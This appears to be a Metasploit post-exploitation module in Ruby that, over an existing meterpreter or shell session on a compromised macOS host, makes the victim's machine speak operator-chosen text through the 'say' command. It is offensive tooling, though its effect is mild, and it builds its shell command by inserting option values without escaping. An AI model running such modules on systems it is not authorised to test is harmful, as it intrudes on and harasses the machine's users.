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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'OS X Text to Speech Utility',
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        'Description' => %q{
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          This module will speak whatever is in the 'TEXT' option on the victim machine.
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        },
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        'References' => [
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          ['URL', 'http://www.gabrielserafini.com/blog/2008/08/19/mac-os-x-voices-for-using-with-the-say-command/']
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        ],
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        'License' => MSF_LICENSE,
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        'Author' => [ 'sinn3r'],
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        'Platform' => [ 'osx' ],
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        'SessionTypes' => [ 'meterpreter', 'shell' ],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [AUDIO_EFFECTS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TEXT', [true, 'The text to say', "meta-sploit\!"]),
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        OptString.new('VOICE', [true, 'The voice to use', 'alex'])
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      ]
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    )
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  end
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  def exec(cmd)
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    tries = 0
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    begin
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      cmd_exec(cmd).chomp
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    rescue ::Timeout::Error => e
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      tries += 1
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      if tries < 3
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        vprint_error("#{@peer} - #{e.message} - retrying...")
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        retry
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      end
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    rescue EOFError => e
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      tries += 1
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      if tries < 3
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        vprint_error("#{@peer} - #{e.message} - retrying...")
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        retry
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      end
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    end
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  end
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  def run
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    txt = datastore['TEXT']
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    voice = datastore['VOICE']
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    # Say the text
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    out = cmd_exec("say -v \"#{voice}\" \"#{txt}\"")
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    if out =~ /command not found/
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      print_error("The remote machine does not have the \'say\' command")
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    elsif !out.empty?
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      print_status(out)
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    end
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  end
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end
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